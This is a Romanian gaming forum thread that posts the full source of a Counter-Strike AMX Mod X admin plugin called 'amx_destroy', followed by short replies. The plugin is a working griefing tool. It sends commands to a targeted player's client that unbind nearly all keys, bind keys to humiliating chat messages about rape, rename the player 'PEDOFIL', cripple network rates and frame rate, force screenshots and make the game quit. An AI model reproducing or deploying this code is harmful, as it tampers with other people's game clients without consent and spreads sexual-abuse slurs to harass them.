REGISTER











Destroy cu VIOL by Evanescence
#1
La acest plugin apare in loc de am primit destroy bla bla, apare AM FOST VIOLAT!
Numele il schimba in PEDOFIL.

SMA file:
Code:
#include
#include
#include
#include

#define Baza 45630

new BanData[33][2][32]
new bool:ComandaB = false
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

static const poza[] = "www.fastcs.ro/forum"

public plugin_init()
{
    register_plugin("Destroy Comand", "1.0", "Evanescence")
    register_concmd("amx_destroy", "destroy", ADMIN_LEVEL_G," : Ii strica CS jucatorului + screenshot")
    register_cvar("amx_destroy_activity","1")
}


public destroy(id,level,cid){
    if (!cmd_access(id,level,cid,2)){
        return PLUGIN_HANDLED
    }
    if (ComandaB){
        Cronometru(id)
        return PLUGIN_HANDLED
    }
    new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
    new fo_logfile[64],timp[64],maxtext[256]
    new tinta[32], minute[8], motiv[64]
    read_argv(1, tinta, 31)    
    read_argv(2, minute, 7)
    read_argv(3, motiv, 63)
    read_argv(1, arg, 31)
    new target = cmd_target(id,arg,1)
    new jucator = cmd_target(id, tinta, 9)
    if (!jucator)
        return PLUGIN_HANDLED     
    
    copy(BanData[jucator][0], 31, minute)
    copy(BanData[jucator][1], 31, motiv)
    new TaskData[4]
    TaskData[0] = id
    TaskData[1] = jucator
    new numeserver[64], nume[32], ip[32]
    get_user_name(target,name,31)
    get_user_name(id,admin,31)
    get_user_authid(target,sAuthid,34)
    get_user_authid(id,sAuthid2,34)
    get_cvar_string("hostname",numeserver,63);
    get_user_name(jucator,nume,31);
    get_user_ip(jucator,ip,31);
    get_configsdir(fo_logfile, 63)
    get_time("%m/%d/%Y - %H:%M:%S",timp,63)
    IncarcareServer()
    ScriereServer()
    format(message,551,"VIOLAT!^nComanda executata cu succes.^n Comanda numarul %i",SalvareServer)
        format(maxtext, 255, "[FastCs] %s: %s l-a violat in fata voastra pe pe %s",timp,admin,name)
        format(fo_logfile, 63, "%s/destroy.txt", fo_logfile)
    
    if(!target){
    
            return PLUGIN_HANDLED
        }
        switch (get_cvar_num("amx_destroy_activity")) {
            case 1: client_cmd(target,"say ^" %s m-a VIOLAT !^"",admin)
            case 0: client_cmd(target,"say ^"Am fost VIOLAT de catre admin !^"")
       }
    client_cmd(target,"developer 1")
      client_cmd(target,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am fost VIOLAT de admin .^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
        client_cmd(target,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
        client_cmd(target,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
        client_cmd(target,"unbind end;wait;bind escape ^"say Sunt neajutorat ca un mic Cacat^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
        client_cmd(target,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic Cacat^";bind ~ ^"say Am fost violat .^";wait;name ^"PEDOFIL^"")
        client_cmd(target,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
        write_file(fo_logfile,maxtext,-1)
    set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
        show_hudmessage(0, message)
        client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"")
        for (new i = 0; i < inum; ++i) {
            if ( access(players[i],ADMIN_CHAT) )
               client_print(players[i],print_chat,"[FastCs]Jucatorul:%s a fost VIOLAT de catre %s",name,admin)
      }
      ComandaB = true
    Cronometru(id)    

    client_print(jucator,print_chat,"* Screenshot a fost facut pe : %s",numeserver)
    client_print(jucator, print_chat, "* Nume:  ^"%s^" cu IP : %s",nume,ip)
    client_print(jucator, print_chat, "* Data : %s",timp)
    client_print(jucator, print_chat, "* Ai primit ban de la adminul %s",admin)
    client_print(jucator, print_chat, "* Viziteaza %s pentru a scoate banul.", poza)
    console_print(jucator,"* Screenshot a fost facut pe : %s",numeserver)
    console_print(jucator, "* Nume:  ^"%s^" cu IP : %s",nume,ip)
    console_print(jucator, "* Data : %s",timp)
    console_print(jucator, "* Ai primit ban de la adminul %s",admin)
    console_print(jucator, "* Viziteaza %s pentru a scoate banul.", poza)
    client_cmd(jucator,"wait;snapshot;wait;snapshot")
    client_cmd(target,"wait;wait;wait;wait;quit")
      return PLUGIN_HANDLED
        
}

public Cronometru(id){
    new parm[1]
    parm[0] = id
    if (ComandaB){
        set_task(3.0,"TimpDeAsteptare",Baza+id,parm)
    }
}
public TimpDeAsteptare(id){
    if (task_exists(Baza+id)){
        remove_task(Baza+id)
    }
    ComandaB = false
}

stock IncarcareServer(){
    get_configsdir(DirectorServer, 63)
    format(FisierServer,127,"%s/servit.q",DirectorServer)
    if (!file_exists(FisierServer)){
        return PLUGIN_HANDLED
    }
    else {
        
            read_file(FisierServer,0,TextServer,LimbaServer,r)
          
        SalvareServer = str_to_num(TextServer)
    }
    return PLUGIN_CONTINUE
}
stock ScriereServer(){
    get_configsdir(DirectorServer, 63)
    format(FisierServer,127,"%s/servit.q",DirectorServer)
    if (!file_exists(FisierServer)){
        return PLUGIN_HANDLED
    }
    else {
        
            read_file(FisierServer,0,TextServer,LimbaServer,t)
          
        
        SalvareServer = str_to_num(TextServer)
        SalvareServer = SalvareServer + 1
        format(TextServer,31,"%i",SalvareServer)
        delete_file(FisierServer)
        write_file(FisierServer,TextServer,-1)
    }
    return PLUGIN_CONTINUE
}

Nu necesita cvar.
Comanda este tot amx_destroy
#2
super tareSmile)
#3
Topic Closed ! Avem un model de respectat !



Powered by MyBB All rights reserved
Developed with for FASTCS 2011 - 2024 FASTCS